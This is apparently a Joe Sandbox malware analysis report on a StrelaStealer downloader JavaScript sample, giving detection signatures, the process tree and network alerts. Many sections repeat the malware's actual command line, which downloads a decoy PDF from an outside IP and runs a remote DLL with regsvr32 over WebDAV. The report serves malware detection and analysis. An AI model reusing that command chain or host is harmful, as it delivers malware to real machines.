Edit tour

Windows Analysis Report
15108208223119820474.js

Overview

General Information

Sample name:	15108208223119820474.js
Analysis ID:	1588543
MD5:	8dd23410a5e498d1ba46fbd2697a58f5
SHA1:	4efaf55d39657e06f224fef512c49bd6b9feb87c
SHA256:	b76eec5cd6b77a1efe92889ec54049d3558b6d700d7df3412c4894fd774275a1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 432 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5864 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6188 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6888 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6516 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1552,i,1470255070831351174,15330560733074415454,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6196 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4836 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2224 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 432	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5864, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6188, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5864, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6188, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ProcessId: 432, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4836, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ProcessId: 5864, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ProcessId: 5864, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ProcessId: 5864, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ProcessId: 5864, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ProcessId: 5864, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ProcessId: 432, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5864, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6188, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6196, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4836, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2224, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6196, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4836, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll, ProcessId: 5864, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:15:08.426597+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:15:11.125973+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:15:08.426597+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 15108208223119820474.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 15108208223119820474.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 15108208223119820474.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49712 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:15:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 